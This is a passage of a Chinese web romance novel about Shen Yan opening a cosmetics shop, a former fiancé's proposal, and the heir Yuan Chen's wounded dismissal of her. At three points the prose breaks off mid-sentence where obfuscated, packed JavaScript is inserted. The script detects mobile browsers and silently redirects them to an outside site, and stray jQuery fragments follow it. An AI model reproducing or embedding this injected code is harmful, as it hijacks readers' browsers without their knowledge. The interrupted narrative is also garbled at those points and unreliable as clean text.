市丞再次唱价，竞拍行内顿时鸦雀无声。人人均看好戏般等着看沈妍还会不会提价。 结果市丞唱价三次后，现场依旧一片沉默，无一人再开口。 最后市丞一锤定音：“李掌柜得！” 人们交头接耳，热议着适才这场竞卖拍出的离谱价格。 再次压制住对手，赢得店铺，李胭娘偏头得意地觑着沈妍。 四目相对，沈妍却是杏眸无波。 两息后，她淡淡收回视线，起身走人。 李胭娘越发志得满意。 她早看出沈妍眼光独到，上次在杏园宴一语道破凝香楼的软肋，已让她感到危机。 如今听说对方要开店，虽尚不知具体卖什么，但女人的直觉告诉她，此事恐会对她不利。 那么，她便不会让姓沈的轻易得逞，至少别在她的地盘上碍眼。 * 竞拍行外，沈妍出门后径直走向已经等候在外的丁香，问她：“如何？” 丁香冲她挤挤眼：“放心，已经拿下。” 沈妍点头，两人一同离开。 当日稍晚些时候，东市西南角一家店铺外，刘骥云指挥着伙计们里里外外忙得热火朝天。 门头，店铺原来的招牌很快被摘除，经过擦拭整理，有种虚位以待的干净整洁。 这家店铺虽然不在闹市，却胜在清幽，安静。 两层高的木质阁楼七八成新，只需稍加装修便可使用。 这是沈妍数日前看中的铺子，说起来还要多亏李胭娘蓄意捣乱，才让她想到了这个“远离闹市，独享清幽”的新思路。 她看出李胭娘处处赶在她先，必定派人暗中监视，故而在牙行的人带看这间铺子时，她佯装不满意，连店门都没进。 事后却吩咐丁香和刘骥云火速租下来，自己则声东击西，故意同别家谈价，转移李胭娘的视线。 刘骥云办事老成，加上有丁香帮忙，两人很快将租赁一应手续办妥，顺便还在南郊帮她租下了一处宅子，着手改建成作坊，连伙计都已经雇好了。 眼下城里的店面已打扫干净，明日便可找人好好装饰一番。 众人干完手头的活，心里也有了盼头，相互间有说有笑。 又有路过的客人及附近百姓听说要有新店开业，纷纷过来围观，店外一时热闹非凡。 沈妍在旁看着这一幕，杏眼终于染上笑意。 片刻后，她察觉到什么，转身看向和女使一起站在街对面的李胭娘，扬声道：“李掌柜这么闲？要不要进来喝杯茶？” 李胭娘也不避讳，横穿街道来到近前，面色阴沉地盯着沈妍：“这铺子你早就租好了，却故意去参加竞买。” 沈妍耸耸肩：“那又如何？竞买又不违法。”言罢一声叹息，学着李胭娘之前的腔调，“不过可惜呀，李掌柜财大气粗，我比不了。” 所以，不好意思啦，让你多花那么多银两。 李胭娘心知中计，面色变了几变，她自诩实力雄厚，足以碾压沈妍，怎料一时大意，给对方钻了空子。 不过这一切又都是她自愿上套，怨不得旁人。 当下只能暂时吞下这暗亏，咬牙道：“我们走！”带着菊芬转身离开。 “主子真要让她的店这么开起来？”路上，菊芬问李胭娘。 李胭娘不屑冷哼：“急什么？来日方长——想跟老娘斗，她还太嫩！” 沈妍的店铺没过几日便收拾出来，简单装修后，窗明几净，清幽典雅，沈妍看完甚是满意。 这日天气晴好，两辆马车运来桌椅、盒子、多宝柜、各种原料……杂七杂八地堆在店外。 沈妍指挥伙计们搬东西时，薛坚带着几名手下过来。 沈妍还以为他们碰巧经过，结果薛坚径直来到她跟前，向她叉手一礼：“沈娘子。” 言罢挥手吩咐几名手下过去帮忙。 沈妍见状忙道：“妾这里不过是搬几样东西，无须劳烦薛参军。” “举手之劳。”薛坚道，“况且世子临走前交代过，沈娘子不必同在下客气。” 他带来的人个个年轻力壮，伙计们要两个人才能抬动的方桌，一名侍卫上前，单手便拎了起来。 沈妍看推辞不得，只好向薛坚道谢：“如此，有劳了。” 薛坚眼底闪过一抹黯然，声线低沉道：“恕在下愚钝，之前不知沈娘子租店遇到麻烦，否则本可以帮更多的。” 此时丁香刚好抱着一瓶鸢尾花从旁经过。 沈妍瞥见，趁薛坚没主意，悄悄睨了丁香一眼，杏眼瞪圆：谁叫你跟他说的？ 之前薛坚曾来店中询问有什么需要帮忙，适逢沈妍外出采购不在店中，是丁香招呼的他。 收到沈妍的眼神，丁香一脸无辜地冲她摆手：真不是我。 沈妍敛眸，见薛坚面露愧色，连忙说道：“也不是什么大事，而且最后租到的这家店正是妾想要的。” 薛坚点头没再说什么。 沈妍很快被伙计叫走，询问茶桌该摆放何处。 薛坚怔望着她的身影，神色难掩失落。 若不是元琛派去护她的暗卫偶然提及，他至今都不知沈妍被李胭娘刁难。 这个女人，怕是遇上天大的事都不会向他开口。 可他呢？为何非要等着她遇到麻烦主动来找？ * 凝香楼茶室，李胭娘听菊芬报告说沈妍店外有卫世子的亲兵帮忙，面露诧异。 原本，她看沈妍独自开店谋生，连租铺子被她逼到那种地步，卫世子那边都没有任何反应，她还以为卫世子腻了沈妍。 此番还想趁沈妍开店之际再找些麻烦，不想事到临头，卫世子的亲兵突然冒出来。 李胭娘一时拿不准，倒不敢轻举妄动了。 反正郡主就快回来了，不如先静观其变，若要整治那个女人，她办法还多得是。 * 两日后，沈妍的口脂店点绛唇正式开业。 店铺是一栋宽敞明净的双层阁楼。 一层齐整有序地排放着一架架各色口脂、胭脂、香膏、香团……是主要的陈列和售卖区域。 二层则设有款待贵宾的雅室，另有店主及店员休息室。 此外，地下还有一间存放货品的库房。 上都城毕竟高门云集，市井繁华，妇人们的妆面也较别处更为精致讲究。 点绛唇开业当日，店铺内外美人云集，人满为患。 客人之中不乏高门富户中的贵人娘子，为图新趣前来看货，购买。点绛唇二楼的雅室从早到晚应接不暇。 过往行人甚至将整条街堵得水泄不通。 除了看口脂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16176723|179632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、脂粉、香料外，不少人实则是为一睹上都美人的风姿雅韵。 一整日，沈妍带着刘掌柜、丁香及一众伙计们忙前忙后，迎来送往，个个片刻不得闲暇。 沈妍与刘骥云纵使早有准备，原本雇佣的人手还是不够用。 好在郑嬷嬷适时调来王府的人，薛坚也派了人手帮忙。 点绛唇的货品质地精良，又有新趣，价钱却公道合理，营业当日便引来街头巷尾一片热议。 沈妍自是倍感欣慰，唯一美中不足，是此情此景未能叫卫世子赶上。 当初，正是托了他的福，她才得以从泥淖中挣脱出来，一步步告别不堪回首的惨淡时光。 所幸元琛回来得倒也不算晚。 是日黄昏，一行人马风尘仆仆停在了点绛唇外。 沈妍隔着门扉，一眼瞥见其中一道颀长挺拔的玄色身影不禁怔住，继而想起什么，匆忙迎出去时，竟是一阵心跳加速。 “妾不知世子今日回来，不周之处，还望世子见谅。” 元琛原本直勾勾望着她走来，闻言垂下眼帘，长而密的睫羽盖住眸底翻涌的墨色：“无妨，本就是临时决定返回。” 话虽如此说，实则他早已知晓沈妍今日开业，却故意晚归，心想沈妍若得知他回来，必定还要分神伺候他，如此两头忙碌，岂不更辛苦？ “恭喜沈娘子，开业大吉！”长庚拴完马后笑盈盈赶上前，拱手向沈妍道贺。 沈妍回礼道谢，这才想起把人往里面请。 元琛却不慌不忙朝身后挥挥手，立时有两名侍卫，一人搬着一个两尺见方的乌漆木箱送入店中。 元琛边往里走边对沈妍道：“未能赶上你的店铺开业——一份迟到的贺礼，还望沈掌柜收下。” 他说“沈掌柜”前语气微顿，磁沉的声音带了几分郑重之意。 沈妍听他这般称呼自己，先是一怔，继而眼眶微湿。 自从阿娘走后，此时此刻真是堪称她人生中最好的一刻。 筹谋许久的店铺开业，最幸运的是，这件事还能够和懂她的人一起分享。 元琛说话间，侍卫打开木箱，里面是一片片寸许长，紫红色半透明的凝脂状物。 认出此物是什么的瞬间，沈妍表情愣住。 她小时候听阿娘提起过，紫胶状如凝脂，清透如胶，产自暹罗国，是制作口脂、面脂的顶级原料。 只不过此物稀有难得，例来都是作为贡品入京，偶有小部分经由西南来的商船运往中州，再流入民间。 沈妍回过神来，连忙摆手：“这太贵重了，妾不能收。” 元琛却道：“反正已经运来，至于是放在你店中物尽其用，还是扔到王府库房里发霉，你看着办。” 沈妍知道卫世子如此说，是不想让她收下礼物有什么负担。 他这人骨子里有种傲气，不管什么话，但凡从他口中说出，天然便会带上几分令人难以拒绝的霸道。 沈妍知道这份礼物是他一片心意，自己硬要推拒未免扫兴，况且他这人向来说到做到。 与其糟蹋东西，不如先收下，来日再用别的方式还礼便是。 想通此节，她向元琛一礼：“如此便多谢世子了。”言罢叫刘掌柜找人抬到楼上。 因东西贵重，期间她不忘一再叮嘱伙计们小心搬运。 元琛看她收了礼物，眼角微微扬起。 片刻后，方温声对沈妍道：“我明日还要早朝，先走一步。” 沈妍：“那妾随世子回府。” 她如今虽是点绛唇掌柜，但更是元琛的女使。 这一点，只要元琛还未回北境，便不会更改。 “不必，”元琛抬手阻止，“王府这两日有长庚在便好。” 沈妍闻言默默动容。 最近因开业繁忙，她这两日都宿在店中。元琛来前必定问过她的消息，才会做此安排。 18. 约定 这个人看似清冷淡漠，实则却是心细如发。 这边，元琛深深看了沈妍一眼，转身走出店门，与长庚一行策马离去。 * 送走元琛后，沈妍刚要返回店中，恍然察觉到什么，脚步顿住。 下一瞬，她抬头朝点绛唇对面的仙客来茶楼望去。 几乎同时，茶楼二层一间雅室，男子坐在窗边，偏过头低眸看向沈妍。 视线相触，沈妍表情僵住。 不多时，茶楼门前现出一道熟悉的身影。 男子一袭天青色襕袍，在长街对面长身而立。 他目光灼灼，越过来来往往的行人，定定落在沈妍身上。 “林兄长？”沈妍轻声呢喃。 男子已穿过街道向她走来。 在沈妍身前站定，林子旭目不转睛地盯着眼前人，清朗温润的眸底神色复杂。 半晌，方道了声：“好久不见，阿妍。” 此时虽已接近宵禁，坊内却不受任何影响，尤其各大茶楼、酒肆，有的甚至灯火通明。 仙客来顶楼一间茶室内，茶博士有条不紊地忙碌着。 此人炙茶、碾茶、烹水、斟茶的手艺步步讲究，待茶汤备好，分别呈给两位客人后，方在林子旭示意下躬身退出。 室内一时清香四溢，只可惜里面的两人，心思却全都不在品茶上。 良久，林子旭率先打破沉默，缓声道：“自从姚承嗣出事后，我一直在到处打听你的下落，直到数日前，有人跟我说，在这家茶楼附近看见了你。” 得知对方果然是沈妍，他恨不得立时飞奔过来，却又生出某种像是近乡情怯的不安。 ——沈妍若真想见他，随时都能找到。 可她没有。 他便害怕起来，担心自己期待的到头来不过是一场空。 迟疑数日，这才鼓足勇气来找沈妍，却又在看到她的瞬间，所有悬念尘埃落定。 林子旭：“我知道你无法原谅苏家，这才出来自立门户，可你……难道连我也不想见？” 沈妍摇头：“只是以我如今的身份和处境，确实多有不便。” 这段日子，她不是没想过告知林子旭自己的下落，但自那日新科进士游街之后，她看见那副花果盈车的景象，意识到林子旭正是议亲年纪，又高中了探花，提亲者怕是能踏破林家的门槛。 凭二人之前的关系，她此时去找林子旭算怎么回事？ 两人私下里毕竟有过一场婚约。 她忽然出现，比起向林子旭报平安，倒更像是某种提醒。 沈妍不想让彼此陷入尴尬，游街那日如此，眼下也不例外。 没有再多一句解释，她话音一转：“抱歉，这些日子让林兄长担心了。” 林子旭望着她，眼眶微红：“阿妍，都是我的错。”他声音低低轻轻，“若不是当初我执着于考取功名，早一点向苏府提亲，便不会——” “林兄长无须自责。”沈妍打断他，释然一笑，“我进姚府之事与兄长无关，再说事情都已经过去了。” “不，”林子旭一瞬不瞬盯着她，正色说道，“当初的约定言犹在耳，如今我终于有了求娶你的资格，你也重获自由——阿妍，我们在一起吧？” 沈妍显然没料到他会这样说，闻言一阵错愕，但很快回过神来。 今时不同往日，二人之间又岂止是男未娶女未嫁那么简单。 “林兄长无须再执念于此，你如今是名满上都的探花郎，该知道娶什么样的女子方为良配。” 林子旭温润的眼眸染上坚毅：“除了你，我谁也不娶。” 沈妍一时震惊不已，她知晓林子旭的心意，但他们早已不再是青梅竹马的小儿女。 在这大庆朝上都城中，人与人之间尊卑贵贱界限明朗，高门中甚至士庶不通婚。而人们对于世俗不容的结合，也格外不能容忍。 她虽感动于林子旭不改初衷，但还有些自知之明，更不想给林子旭大好的前程蒙上阴翳：“林兄长的心意我明白，但此事不妥。即便重获自由，在世人眼中，我依旧是罪臣家姬，而林兄长——” “我不在乎。”仿佛知道她要说什么，林子旭截断了她的话，“成为姚府家姬非你所愿，即使眼下，沦为卫王府女使也是受生计所迫。在我眼中，你与从前的阿妍并无不同。” 没有不同吗？ 明明一切都不一样了。 沈妍闭目摇了摇头。 下一瞬，林子旭陡然握住她手腕，放缓了语速，神色认真：“你说过，此生绝不重蹈你阿娘的覆辙，我此刻便可告诉你——我林子旭此生一不纳妾，二不另娶，只求与阿妍一人安稳度日。” 沈妍再次怔住，不等她开口，林子旭直视着她：“阿妍，这难道不是你一直想要的？” 沈妍：“……” 是。 林子旭总是知道她想要什么——过去如此，现下依然如是。 他温煦的声音，带着几分循循善诱，瞬间将沈妍思绪搅乱。 “我记得你最恨人家出尔反尔，你我曾经的约定，如今终于有了机会兑现，你却要反悔吗？” 林子旭最后这句，宛如棋盘上的致命一击，将沈妍彻底将死。 当年父亲违背约定，背叛了她和阿娘。在沈妍内心深处，至今都无法原谅。 也因为此，她厌恶背叛者。 而如今，自己却要成为这样的人吗？ 僵在坐在圈椅上，她张了张口，半晌说不出一个字。 明知哪里不对，一时却想不出该如何反驳。 * 南衙，北境宿卫军衙门。 元琛时而皱眉踱步，时而又长吁短叹，像是被什么难事困住了。 不远处，程思弼将他的一举一动看在眼中，觉得世子今日实在有些莫名其妙。 从前不管出多大事，也没见他这般坐立不安，愁眉苦脸过。 突然间这是怎么了？ 忍了许久，出于大局考虑，程思弼还是斗胆向元琛问起原因。 元琛想了想，觉得程思弼办事老成，在某些方面也颇有经验，于是委婉“转达”了他一位“朋友”的苦恼。 当然，也包括之前长庚给他出的主意。 程思弼显然没料到世子竟是被这方面的问题难住，闻言肩膀微微抖动，强憋着笑让自己声音正常：“这种事世子问谁不好，偏偏去问那个毛都没长全的臭小子。” 元琛额角跳了跳：“那程长史有何高见？” 程思弼：“既是世子的朋友，所求之人必也见识匪浅。这样的人怎会被一餐饭打动？故而依属下看，非花足心思的首饰、信物一类，不足以体现世子——哦，您那位朋友的一片诚心。” 元琛点头，觉得程思弼所言不无道理。 沈妍出自晋国公府——老奸臣何其穷奢极欲，故而说沈妍一句“见识匪浅”当不为过。 衙门外，目送着元琛若有所思地离开，程思弼在他身后笑得一脸灿烂。 哼，之前还口口声声说什么不要，结果还不是这么便快有了新目标？ 果然还是男人最了解男人。 程思弼摇头笑叹，须臾想到什么，沉声道：“来人。” 旁边，一名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16199863|179632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黑衣武士快步上前，冲程思弼叉手。 程思弼：“去探探，世子最近与哪家贵女走得近？” 当日，元琛到底听从程思弼的建议，亲自去了趟玲珑阁首饰店，订制了一支玉兰发簪，说好十日后来取。 暮鼓时分，迎晖阁书房。沈妍心不在焉地一下下擦拭着早已光洁如镜的桌案。 昨日林子旭在茶楼同她说的话又一遍在耳畔回响。 她不自觉加重了擦拭的力道，也加快了动作，好像如此便能将那些话抹去。 她对林子旭说考虑一下再给他答复，可只要一想到这件事，却又一阵心乱如麻。 明知可以重回悲剧发生前，她却丝毫提不起兴致。 明知一切都在奔向正轨，她却感觉全乱了套。 明知林子旭描述的生活正是她一直想要的，心底却有股力量在默默抗议。 元琛进门时看见沈妍站在书案前愣愣出神。 轻风吹过，廊灯摇摇晃晃，那道纤长的身影也跟着摇摆不定。 在想什么？ 往常这个时候，她都会站在外面回廊上等他。 元琛清了清嗓子，抬腿迈进书房。 沈妍听见声音回过神，向元琛一福。 元琛打量着她：“最近苏家有没有再找你麻烦？” “托世子的福，没有。” “那你有没有想过，他们为何执意接你回去？” 沈妍点头：“妾于他们，或许还有些利用价值。” “打着感情的幌子谋取私利者不在少数，而世人往往当局者迷，你能明白就好。” 沈妍“嗯”了声，忍不住感慨：“如凡事能不掺杂私心和情感去看，便会简单许多。” 不掺杂私心和情感？元琛抬起眼帘，幽深的眸子定定凝着沈妍，像在问她，又像自言自语：“真能做到吗？” 他并不知道，这句问出后，沈妍脑中林子旭之前那些问题再次涌上来。 “现实总会教人清醒。”她答得心不在焉。 元琛却揪住这个话题，继续追问：“比如呢？” 沈妍回过神，见元琛拧眉望着她，心想世子身居高位，自然难以理解低位者的处境。 想了想，她还是试着从对方的角度打了个比方：“比如，且不说像妾一样的普通人，许多高门大户的贵人娘子甚至难逃联姻的宿命，即便尊贵如高阳公主，也难免要去吐蕃和亲。” “每个人都有他命定的轨迹，抛开私心与情感，才更容易看清现实，接受现实。” 元琛并未接话，却从衣襟内掏出一本书递给她：“那又是谁整天捧个才子佳人的话本子不放？” 他早知道沈妍的喜好，适才路过花厅看见这本，心想必是她落下的，于是顺手带了过来。 沈妍看见元琛手中的书一愣。这话本是她两天前在西市买的，确如元琛所言，里面讲的是个才子佳人的故事。 被卫世子捡到已是尴尬，又听他淡淡的语气带着一点揶揄，沈妍不由涨红了脸，顺手夺过书：“闲暇解闷的东西，岂能当真。” 言罢对上元琛似笑非笑的目光，匆忙移开视线。 缓了片刻，终是无声地叹了口气：“对于大多数人而言，能够相安无事、相敬如宾地生活已属不易，哪有那么多两情相悦的佳话。” 这个“大多数”，当然也包括她自己。 不经意出口的话，或许正是她要的答案。 只是不知为何，话音落地，她不禁有些失落。 未曾察觉，对面，元琛正目不转睛望着她，轻声道：“正因为稀有，才会让人心生奢望吧。” 19. 心意 这句沈妍并未反驳。 纵使务实、认命如她，偶尔也情不自禁会想，万一话本里两情相悦的事真会发生呢？ 又听元琛说道：“其实你口中所谓贵人，也并非个个都老实认命。” 沈妍一怔，好奇道：“那他们会怎么做？” “私奔。” “啊？” 在沈妍惊讶的注视下，元琛轻嗤一声，漆黑的凤眸闪过一抹戏谑。 显然，这不过是句玩笑话。 大概很少见到这样的卫世子，沈妍一时看得有些失神。 元琛却已恢复如常，他面容凝肃，似是有感而发：“不管为了什么，正大光明地谋取，总好过打着情意之名，行龌龊之事。” 一顿，他眼神微寒，“更有甚者，给人以虚假的承诺，那才最叫人鄙视。” 言罢，像是想到某件糟糕的事，他渐渐皱紧眉心。 沈妍想的却是她和林子旭的约定，轻声嘀咕：“那如果已经许诺过，又该怎么办？” 元琛并未注意到她语气的变化。 此刻他目光放空望着前方，听见这句，语气坚定沉冷：“那便该守约才是。” 在他视线之外，沈妍轻轻“嗯”了声，神情如霜打的秧苗。 那便该遵守约定。 连卫世子也这么认为。 这本是再正常不过的一句话，沈妍却不知为何，听完心中有点难过。 但她还不至于丧失理智。 不重蹈阿娘的覆辙，活得尊重体面，还有踏实安稳的生活…… 这些本就是她想要的。 如今林子旭情深不移，待她也依然如故。 她该知足了。 * 数日后，适逢朝中休沐，一辆青棚马车在点绛唇门外停住。 林子旭下了马车，进入店中，径直找到沈妍，说要带她去个地方。 沈妍不明所以，刚好店中事务都已安排下去，于是点点头，与林子旭登上车轿。 马车迤逦而行，走了大约小半个时辰进入通善坊内。 越往前行，不断有熟悉的景物映入眼帘。 车子最后在一处寻常的院落门前停下，沈妍打眼看见白墙灰瓦的半旧门头，心中按捺不住一阵悸动。 这是她和阿娘从前住过的地方。 后来阿娘病故，她搬回苏府，房主也将房子收回。 再后来，此间更是几易其主。 沈妍做梦都想不到有朝一日还能回到这里。 侍者搬来脚蹬，沈妍提起裙裾下车，几步奔至门前，她双手轻颤着推开那道熟悉的门扉。 因昨晚才下过一场小雨，石子小径湿漉漉、油浸浸的，石缝间长满了青苔，道路两侧偶尔钻出几株寻常花卉，微风吹过，送来淡淡的花草香。 沈妍深吸一口气，沿着小径一路向前，每走一步，都恍惚能看见儿时光景。 她忍不住眼眶泛酸，眸中闪烁着晶莹。 一旁，林子旭目光温和地朝她看来：“房子我暂时租了一年，等房主那边谈妥，我们再买下来。” 沈妍闻言停步，向林子旭叉手施礼，诚恳道：“多谢林兄长帮我找回这里。” 很早以前，她对林子旭说过的话，他居然还记得。 沈妍知道，如果不是林子旭帮忙，仅凭她，一时很难租到这间院子。 尽管林子旭一再拒绝，她还是坚持将租房钱还给了他。 毕竟，这是属于她的执念。林子旭能帮忙，她已是感激不尽。 如果阿娘在世，看到这一幕，也会赞同她选择眼前这个人吧？ “只要你喜欢，随时可住进这里——少则十日，多则半月，我便会叫冰人上门。”林子旭说这番话时，脸颊和耳尖通红一片。 他和从前并无二致，但语气明显顺畅了许多。 反倒是沈妍，开口声音滞涩：“……林兄长可还记得那日在宣平坊，你询问我的心意时，我说——” “记得。”林子旭接口，打断了沈妍的话。 他怎么会忘？ 那已经是第二次，他鼓足勇气询问沈妍对他的心意。 结果她的答案仍和从前一样，说对他只是兄长般的喜欢，问他是否即便如此，仍愿意娶她。 “我愿意。”这次不等沈妍开口，林子旭率先说道。 沈妍终于未再说什么。 当初这个回答，是因为他觉得沈妍年纪小，他愿意等着小姑娘慢慢开窍。 后来，历经了那些变故与别离，他初心不改，相信只要两人重新在一起，他总有办法让沈妍喜欢上自己。 ——不只是兄妹间的喜欢，而是真正的两情相悦。 他将尽所能保护她，疼惜她，弥补彼此错过的时光。 眼下两人仍有距离不要紧，只要沈妍肯向他迈出一步，剩下的路由他来走完。 * 翌日下朝，元琛提早在东市下了车。 他说他还有些事情要办，让长庚自己驾车回府。 长庚干脆地应了一声，转过头却了然地挑了挑眉。 哼，当他不知道是什么事？ 取支发簪还搞得这么神神秘秘，连他都要背着。 他就不懂了，天不怕地不怕的世子，怎么一遇上这种事，面皮比纸还薄？ 不多时，长庚架着马车驶入宣平坊，远远望见一对男女在路边交谈。 那女子看着有点眼熟，他定睛一看——那不是沈娘子吗？ 同她说话的是个青年男子，穿一袭竹青襕袍，温文尔雅，文质彬彬。 很快，那男子与沈妍拱手作别，从另一道坊门离开。 长庚觑着那道清瘦修长的身影，不知为何，心头忽生出几分不安。 驱车赶上前，他从背后叫住沈妍。 适才，长庚注意到沈妍在那男子走后神情落寞，微垂着头不知在想些什么。 他记起她之前被苏府纠缠的事，于是边跳下车辕，边问沈妍：“适才那人是不是找你麻烦？需不需要帮忙？” 沈妍闻言连忙摆手：“不是，他……是我之前的一个朋友。” 长庚看她吞吞吐吐，欲言又止的样子，隐约觉得那位应该不是什么简单的“朋友”。 但人家小娘子的私事，他总不好打听得太明白，于是随口应道：“如此便好。” 言罢继续驱车向前，心中却默默替自家世子捏了把汗。 * 回到王府，元琛步履匆匆地赶往迎晖阁。 那支沉甸甸的玉兰发簪此刻就被他放在胸前，随着心跳的节拍轻轻起伏，仿佛一下子有了生命般。 沈妍喜欢花草，应该也会喜欢这支发簪吧？ 只是不知这般冒昧送东西，会不会再次吓着她？和上回在白家楼一样。 但也说不准，她看见发簪心情一好，便会答应他的请求。 不知不觉，他已在月洞门前站了许久。 回过神来，他想了想，将发簪从襟前取出，攥在掌心。 最后，像下定什么决心似的，元琛深吸一口气，提步迈入院中。 一眼看见茜纱灯下那道倩影，元琛只觉心口一暖。 “等很久了？”来到沈妍跟前，他温声道。 沈妍摇头：“不过才出来一会儿，世子便回来了。” ——确实有点久，但无妨。 大约是心中有了定夺，她反而格外珍惜像这般等卫世子回来的时光。 望着元琛，沈妍抿了抿唇，想说的话一时竟不知从何说起。 尤其元琛今日的眼神，无端让她觉得开口都艰涩起来。 与此同时，对面，元琛不知为何忽然心跳加速，攥着发簪的手指不由自主慢慢收紧。 于是，仿佛约好了似的，二人同时一阵沉默，继而一前一后，各自满腹心事地向室内走去。 书房内，沈妍正要出门备水时，元琛忽然开口：“等等。” 她脚步顿住，随即听见元琛干咳了两声：“突然有些口干，帮我倒杯水。” “是。”沈妍答应着，不多时将一杯温水递给元琛。 她趁机鼓足勇气——天下没有不散的宴席，该说的总还是要说。 在她面前， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16232407|179632||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 元琛紧握发簪的手也松弛下来。 “那个——” “世子——” 他们的声音同时响起，室内陡然一静。 随即，元琛朝沈妍比了比手：你先请。 沈妍于是说道：“数日前世子曾说过，与人承诺过的事便该遵守约定，世子可还记得？” 元琛一顿，想到即将和沈妍谈的契约也算是承诺之一种，于是“嗯”了声。 他当然希望沈妍能好好守约。 却不料下一瞬，他听见沈妍说道：“妾进入姚府前曾与一人定下口头婚约，如今对方仍未娶亲并再次找到了妾。他说他心意如故，问妾当初答应过的事，还算不算数。” 她说话时，元琛仿佛骤然听到什么不可思议之事，黑眸一瞬不瞬盯着她，神色却一点点僵冷下去。 有那么一瞬间，他仿佛遭到一记重击，只能看见沈妍嘴唇翕合，却听不清她在说什么。 等缓过神来，便听见沈妍说道：“……正如世子所言，妾亲口答应过的事，便该遵守约定。” 话音落下好一阵子，元琛只能听见一片嗡嗡声，吵得他无法静心思考。 等恢复神志，他不由自嘲地勾起唇角。 不愧是他的女使，这么快便学会用他的话对付他了。 沈妍言罢，良久未收到回音，久到她甚至怀疑卫世子是否听见了她刚说的那些话时，元琛才终于开口。 “提亲的日子定了？”他声音低沉，声色无波地问道。 沈妍：“他希望越快越好，但妾打算等到世子回北境再——” “不必，”元琛道，“你既已做出决定，这便去找郑嬷嬷结算月钱吧。” 他发现自己不能倒数着日子，等着看她与人喜结良缘。 他做不到。 沈妍一愣，显然没料到会是这样快。 这段日子，元琛帮她摆脱苏府纠缠，明里暗里给她照拂，还有去中州前的叮咛，为她带回珍贵的紫胶…… 种种善待，一度让沈妍以为，她这个女使对卫世子也并非可有可无的存在。 没想到临了，他仍是这般干脆。 卫世子就是卫世子——冷情冷性，杀伐果决，与沈妍初见他时并无分别。 可饶是如此，沈妍依然感激这段彼此相处的时光，甚至有些恋恋不舍。 她张了张口，刚要再说什么，卫世子清冷的身影已转身向书房走去。 主仆关系中止，他甚至连再看她一眼都嫌多余。 虽知晓元琛的性子，可不知为何，看着那道修长的身影毫不迟疑地离去，沈妍一颗心还是失落到底。 “谢世子成全。”她喃喃道。 话音未落，门扉已经合上。 书房地面，一串血迹从门口绵延至书案前，元琛脚下。 他虚握的右手垂在身侧，玉兰发簪尖锐的钗尖不知何时深深嵌入掌心，殷红的鲜血不住从指间滑落。 长庚进入迎晖阁时，看见室内各处桌椅横斜，狼藉遍地，更吓人的是地板上还散落着滴滴血迹…… 抬眼看向不远处的世子，当他看见元琛染血的衣袍，还有顺着指尖不断滴落的血珠时，差点没吓晕过去。 “世子——”该不是自寻短见吧？ “出去。”元琛的声音淡定冰冷。 长庚：“……”好吧，没那么严重。 “要不咱先把伤口——” “滚！” “哎！”长庚不敢再停留，答应一声，立刻脚不沾地地从迎晖阁“滚”了出去。 不到一炷香工夫，元琛一阵风似的策马从王府里冲了出去。 已经得知世子为何发疯的长庚：“……” 他瞧着一闪而过的元琛愣了片刻，眼前浮现出适才一片狼藉的房间。 糟乱的房间会带来糟乱的心情，他可不想等世子回来再被臭骂一顿。 凭着记忆，长庚将凌乱的物件一件件归位，一面喃喃抱怨着自家少主：“既然这么在意，说句软话把人留下来多好？” 言罢却又摇头叹息——果真如此，那还是他家世子吗？ 20. 对峙 当晚元琛回府，看见自己的房间后，黑着脸问长庚：“谁叫你摆成这样？” 长庚被骂的一头雾水：“那世子想摆成什么样？” “以前什么样，还什么样。” 长庚努力揣测世子的心意，他记得沈娘子在时房间里就是这副模样啊…… 难不成，世子口中的“以前”是……沈娘子到来之前？ 唉，看来世子这回是真伤心了。 * 东宫詹事府。两位宾客有说有笑一路步入内堂。 “听说没有？元将军今日居然亲自登门拜访了。” “有这事？之前殿下几次下帖都请不到人，哎，我说怎么一大清早听见喜鹊叫，原来有好事。” 听见二人说话，原本坐在桌案前翻书的林子旭陡然坐直了身子。 他从堆积如山的一摞案牍后面抬起头来，问正说话的两人：“你们说的元将军，可是北境来的那位？” 一人道：“除了他，还能有谁？” 另一人道：“探花郎说说，元将军到访，于咱们东宫是不是件大好事？” 林子旭口中含混地应了一声。片刻后，他站起身，不声不响地踱出门去。 他之前有次在朝会上见过元琛，也听过此人不好相与的传闻。 眼下时局动荡，太子又是初立，地位未稳，而北境实力雄厚，元琛更是手握重兵，是东宫重点拉拢的目标。 林子旭料想太子殿下此刻必在前面招待元琛，过会儿多半还要从詹事府传几个人过去。 本来，他与元琛素无交集，也无须避让，但近期发生的事却让他心生疑虑。 为避嫌，林子旭觉得还是离那个人远一些为好。 这么想着，他决定寻隙去找宁詹事告个假，还是出去躲一阵子为好。 